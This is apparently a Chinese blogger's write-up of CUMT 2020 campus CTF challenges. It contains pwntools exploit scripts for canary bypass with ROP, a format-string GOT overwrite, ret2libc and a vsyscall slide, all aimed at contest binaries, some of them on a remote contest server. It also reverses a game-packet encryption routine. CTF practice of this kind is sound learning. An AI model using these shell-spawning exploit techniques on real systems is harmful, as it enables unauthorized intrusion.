menu 牢记自己是菜
CUMT2020校赛部分题目复现
144 浏览 | 2020-09-29 | 阅读时间: 约 8 分钟 | 分类: 乱七八糟的小比赛 | 标签:
请注意,本文编写于 62 天前,最后修改于 57 天前,其中某些信息可能已经过时。

0x1 前言

咕咕了则么久,今天终于开始打算着手复现这次校赛的部分题目了。大体的计划应该就是全部的PWN题在加上师傅的赛尔号封包吧。昨天去了子洋师傅那里,完整的吧程序逻辑过了一遍,主题逻辑已经掌握了,之后应该就是复现了。这次的PWN题,主要是楠姐打的,我并么没有帮上什么忙,但是我明显发现我的PWN基础太差了。所以借着这次比赛的契机,准备好好的将里面的知识点与脚本好好的过一遍。整理一下思路,准备下次再战。


0x2 PWN

0x21 canary

本题考到了一个栈保护机制,和一个小坑。canary的绕过十分的简单,通过IDA我们可知buf的栈空间为0x40,最后0x8位是canary。所以我们可以添入0x38*‘A’完成泄露。初代脚本:

from pwn import *

p=process('./canary')
#p=remote('202.119.201.197','10004')
system=0x400726


payload='a'*0x38
p.recvuntil("Let's pwn it!")
p.sendline(payload)
p.recvuntil('a'*0x38)
canary=u64(p.recv(8))-0xa
print "canary"+hex(canary)

payload2='a'*0x38+p64(canary)+'a'*8+p64(system)
p.send(payload2)
p.interactive()

但是这里面有一个小坑,就是这里:

这里很明显已经绕过了canary保护,但是由于system里面并不是sh,所以导致没有控制主机权限。不怕师傅们笑话,我的一开始的想法是shellcode,因为我看见程序并没有开启NX保护。但是我忽略了一个最严重的问题,虽然每次在gdb中调试的时候,栈地址是不发生改变的,但是每次程序的栈是会改变的,所以shellcode在没有泄露栈基址的情况下,是根本打不进去的。太菜了,丢人!

当时下午也尝试了通过寄存器,将sh弹入寄存器进行调用,师傅们猜猜我为啥没打通,太TMD菜了。system的地址我居然用的是getshell里面的system的地址!!不是plt表中的地址!!所以没有打穿,菜的真实!附上正确脚本:

from pwn import *

p=process('./canary')
#p=remote('202.119.201.197','10004')
system=0x400726
getshell = 0x4005F0
strsh = 0x400904
poprdi = 0x4008e3

payload='a'*0x38
p.recvuntil("Let's pwn it!")
p.sendline(payload)
p.recvuntil('a'*0x38)
canary=u64(p.recv(8))-0xa
print "canary"+hex(canary)

#payload2='a'*0x38+p64(canary)+'a'*8+p64(system)
payload2 = 'b'*0x38+p64(canary)+'b'*8+ p64(poprdi) + p64(strsh) + p64(getshell)
p.send(payload2)
p.interactive()

0x22 fmstr

比赛没有做这道题目,赛后来一个小复现。一道格式化字符串的漏洞,由于不是FULL RELRO,所以导致GOT表可以被修改,这里用两种方法复现一下本题,首先是非预期修改got表的方法。

我们可以通过Printf完成修改,第二次got调用的时候直接完成执行。
这里给我自己一个小hit:
一个pwn自带的函数:fmtstr_payload是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。(太香了)
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式。
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

以后找got表的时候可不可以不要再IDA里面直接找了!!!每次都搞错:get_got = elf.got['gets']他不香嘛

exp:

from pwn import *
#p=remote('202.119.201.197','10006')
context.log_level="debug"
p=process('./fmstr')
elf=ELF('./fmstr')
backdoor=0x0804857D
p.recvuntil("what's your name:")
get_got = elf.got['gets']
print get_got
payload=fmtstr_payload(8,{get_got:backdoor})
p.sendline(payload)
p.interactive()

预期解:通过泄露相关数据绕过保护(哇,有点帅)
首先我们先来gdb调试一下程序,观察函数结尾的操作:

所以在我们覆盖栈,完成溢出的时候必需保证ebp中的值不能发生改变,原理有一点像canary(但是这里是因为多了这一条指令导致函数返回的时候栈顶发生变化)。首先我们要使用格式化字符串漏洞泄露相关ebp-4中的值。
既然是使用格式化字符串漏洞,所以我们就要算出来偏移,才可以泄露我们想要的值。
先贴上这个,方便查阅:

  • %c:输出字符,配上%n可用于向指定地址写数据。
  • %d:输出十进制整数,配上%n可用于向指定地址写数据。
  • %x:输出16进制数据,如%ix表示要泄漏偏移i处4字节长的16进制数据,lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
  • %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
  • %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
  • %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
    %n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据


然后就是payload,我们直接看IDA的栈:很明显是0x24的垃圾位置+0x4的ebp
但是这里需要注意以下的是返回的地址并不是直接紧挨这的ebp的,这里我们就要gdb调试一下:


无GDB,无PWN。
exp:

#!/usr/bin/python
#coding=utf-8
from pwn import *
context.log_level = 'debug'
io = remote('202.119.201.197','10006')
elf = ELF('./fmstr')
io.recvuntil('your name:\n')
payload = 'aaaa%13$x'
io.sendline(payload)
io.recvuntil('aaaa')
ecx = io.recv(8)
print ecx
ecx = int(ecx,16)
payload = 'A'*0x24+p32(ecx)+'A'*0x14+p32(0x0804857D)
io.sendlineafter('he problem ! ',payload)
io.interactive()

0x23 babyrop

经典ROP模板题,但是没有libc。这里比赛的时候我使用的是LibcSearcher找到的是:

archive-glibc (id libc6_2.23-0ubuntu3_i386) be choosed.

没打穿,这里先留空,抽空去烦一下师傅们:
官方exp:

from pwn import *
elf=ELF('./babyrop')
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
#p = elf.process()
p = remote('202.119.201.197',10001)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
p.recvuntil("say:")
payload=0x6c*'a'+'a'*4+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4
)
p.sendline(payload)
write_got_addr=u32(p.recv(4))
print hex(write_got_addr)
libc_base=write_got_addr-libc.sym['write']
system_addr = libc_base+libc.sym['system']
bin_sh_addr = libc_base + 0x15910b
payload2=0x6c*'a'+p32(0)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
p.recvuntil("say:")
p.sendline(payload2)
p.interactive()

0x24 backdoor_again

这题我看完官方题解我还是不太会,直到看了PWN爷爷和子洋师傅的复现,我才明白大概的原理。“弟弟我会了!”发出了开心的大叫。我们来从头复现一下这道题目:
首先观察一下,发现程序保护全开,并且system是在溢出上方的,并且判断生成的就是一个随机数,没有种子。这就意味着rand无法改变,NX保护拉满,shellcode也不好使。还有随机地址的保护,完全没有头绪。

我们首先观察一下IDA与GDB在返回时的状态:

我们发现IDA中只能看见偏移,在GDB中每次的基址也是不一样的。但是由于system函数调用与main函数在同一个函数中,所以他们之间的偏移是一定的。
所以只要我们能那到基址,我们就可以确定我们要跳转的位置了。但是栈中有没有我们想要的东西呢,答案是有的。

这里我们就找到了a80的偏移在栈中,所以我们就可以修改偏移,得到我们想要的地址了。但是函数在ret就返回了,根本不可能执行到这个地方,这里就要用到新知识了,Vsyscall----滑动绕过。就硬划,划着划着就到了。具体的原理网上很多,概括来说就是很多的ret,将栈中的无用地址给他滑走,直至到达我们想要的地址。

#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p=process('./backdoor_again')
#p = remote('202.119.201.197',10003)
elf=ELF('backdoor_again')
sleep(5)
payload = 'B'*0x38+p64(0xFFFFFFFFFF600400)*4+'\xa8'
p.send(payload)
gdb.attach(p)
#pause()
p.interactive()

但是查资料的时候,他们说这个玩意好像很多系统的Vsyscall已经被阉割了,鬼知道呢。

0x25 babyheap

没研究明白留空

0x3 RE

0x31 re8-英勇赛尔,智慧童年

终于开始复现这道题目了,比完赛就和师傅来了一波深度交流,但是今天才开始着手复现。逻辑自己可能也忘得差不多了,所以在认认真真的从头来一遍。子洋师傅的本意应该是让我们学习一波易语言,使用源代码中的加密函数,完成封包的加密。但是易语言真的有一点难懂,更别说完成程序的更改利用用了。网上的教程又少的可怜,不清楚的要死。所以这里我们只来复现一下这里的逻辑即可。
一开始的封包构建,这里就不多说了,很简单,就是序列号的地方有亿点难懂(噶油),原始未加密的封包是这个样子的:

00 00 00 1F 31 00 00 08 36 29 75 C9 B0 00 00 02 AA 00 00 00 00 00 00 00 06 69 79 7A 79 69 1E 

这里是明文。
emmmmmmmmm,这里距离上面已经过去了一下午,我终于把这道题目复现完了。真实版,一杯茶,一首歌,一道re玩一天。感觉子洋师傅已经给我了一份正确答案,然后我抄了一下午,才抄了60分。下面我们来看看如何将明文转化为密文:
一共分四个步骤:

  • 与密钥的异或
  • 与自身的古典加密
  • 自身的数据修复
  • 长度头的还原
    每一个步骤都相当的刺激,不着急我们一点一点来:

0x311 与密钥异或

首先拍到我们脸上的是,通讯密钥到底怎么用。首先我们先来观察一下密钥"928e89237f",然后我们再来看看程序里面是咋说的:

嗯,这也太简单了,8位对应的是两位十六进制,所以我们的key应该两位两位用,五次一循环。对的,我也是这么想的,然后我就系内了。也不知道是巧合还是子洋师傅故意的,题目给的密钥居然真的就在0~F之间,把我安排的明明白白的。直到我在不停的调试程序的时候,发现为啥KEY加密没有用到密钥的任何一位呢?最后才发现,人家密钥是ord(字符),所以真正的密钥应该是十位,每一个字符正好占八位。

刺不刺激,这里稍微说一下我易语言调试的方法。易语言调试和VS很想我们只需要打上断点就可以将程序断下来了,并且在断点模式下,可以看见全局变量,与局部变量,还是不错的。其次就是可以在关键的地方,使用调试输出的方法,获得每个小段加密(解密后)的字符集。这个是个例子,和我获得的调试数据。

调试输出 (“这里是密钥处理之后的” + 字节集查看 (data_En))
“这里是原始数据0000001F310000083637434E890000020D000000000000000669797A796930”
* “这里准备加密时的数据310000083637434E890000020D000000000000000669797A79693000”
* 86027328
* “这里是密钥处理之后的00623530030F267BEC3631336F35383538653565305848184C510500”
* “这里是二次处理后的数据0340AC0666E0C1648FDD2666E6AD06A706A7ACA60C060B098329AA00”
* “这里修复之后的A7ACA60C060B098329AA000340AC0666E0C1648FDD2666E6AD06A706”

之后就是不停的测试,测试。之后就是本加密的另一个坑,就是,密钥的使用。KEY会在每次用到0号位置时,重复使用一遍0号位置。
如:0,1,2,3,4,5,6,7,8,9,0,0,1,2,3,4,5,6.......
之后我们就完成了第一部分的加密,将程序输出与我们的调试输出比对一下,完美!

0x312 与自身的古典加密

本轮加密紧跟着KEY的异或加密,主要就是一个两位之间or一下,循环一遍即可。唯一的坑点就是每次无论时左移还是右移,运算结果始终只有八位,多余的就直接舍去。之前就因为没有舍去高位,导致加密结果边长了好多好多。这里附上两次结束后的py脚本,为啥只有两次,因为数据修复我直接在手操,根本没有脚本。注释掉的不重要,主要就是一些测试数据。

def keyXOR(DATA):
    keyuse=['9','2','8','e','8','9','2','3','7','f']
    #928e89237f
    #keyuse=[0x92,0x8e,0x89,0x23,0x7f]
    #keyuse=[0x1e,0x02,0x8c,0x97,0xde]
    #keyuse=['3','2','0','2','c','a','8','a','7','6']
    H=[]
    U=1
    num=0
    for i in DATA[:-1]:
        if (num%10)!=0 or U:
            H.append(i^ord(keyuse[num%10]))
            num=num+1
            U=0
        else:
            H.append(i^ord(keyuse[0]))
            U=1
    H.append(0)
    return H

def getli8(A):
    return A&0xFF

def Encrypt_c1(DATA1):
    DATA1=DATA1[::-1]
    DATA3=[]
    for i in range(0,len(DATA1)-1):
        DATA3.append(getli8(DATA1[i])|(getli8(DATA1[i+1])>>3))
        DATA1[i+1]=(getli8(DATA1[i+1])<<5)
    DATA3.append(getli8(DATA1[len(DATA1)-1])|3)
    return DATA3[::-1]



if __name__ == "__main__":
    A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x29,0x75,0xC9,0xB0,0x00,0x00,0x02,0xAA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x1E]
    #key=0x928e89237f
    #A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x37,0x43,0x4E,0x89,0x00,0x00,0x02,0xEF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x30]
    #key=0xf3c2d0e95d
    #A=[0x00,0x00,0x00,0x1F,0x31,0x00,0x00,0x08,0x36,0x37,0x43,0x4E,0x89,0x00,0x00,0x02,0x72,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x69,0x79,0x7A,0x79,0x69,0x30]
    #print(len(A))
    B=A[4:]#将头部裁掉
    #print(A)
    #print(B)
    #for i in B:
     #   print(hex(i),end=" ")
    B.append(0x00)#在结尾处补0
    #print(B)
    #print()
    #for i in B:
     #   print(hex(i),end=" ")
    #print()
    P=keyXOR(B)#密钥异或
    #print(P)
    for i in P:
        print(hex(i),end=" ")
    print()
    DATA2=Encrypt_c1(P)
    #print(DATA2)
    for i in DATA2:
        print(hex(i),end=" ")

0x313 数据修复

这里差点把我整哭了,好一个数据修复,修的乱七八糟的!这里的数据修复还要用上我们的密钥。大概逻辑是这样的:

  • 取古典加密的结果长度%10(密钥长度)
  • 取得相应的密钥(这里我是调试出来的,调试的时候发现他的密钥是倒着取的,我也不知道为啥要倒着取)
  • 将密钥*13
  • 得到的结果%(len(古典加密结果)+1)
  • 左右两边互换
    这里的代码,真的难看,要不是可以动调,我觉得我可以修一年。

0x314 补头

将加密长度补回去,不够长度直接补零。至此加密结束。。

发表评论

email
web

全部评论 (共 8 条评论)

    2020-10-24 14:17
    我是第四条评论
      2020-10-26 17:25
      @x1ngg3啊这
    +1
    2020-10-11 21:01
    我是第三条评论
      2020-10-11 21:02
      @+1(╯°A°)╯︵○○○
    2020-10-10 13:00
    我是第二条评论
      2020-10-11 19:10
      @iyzyiヾ(≧∇≦*)ゝ
    Ld1ng
    2020-10-03 02:11
    我是第一条评论
      2020-10-03 11:01
      @Ld1ngPWN爷爷yyds ヾ(≧∇≦*)ゝ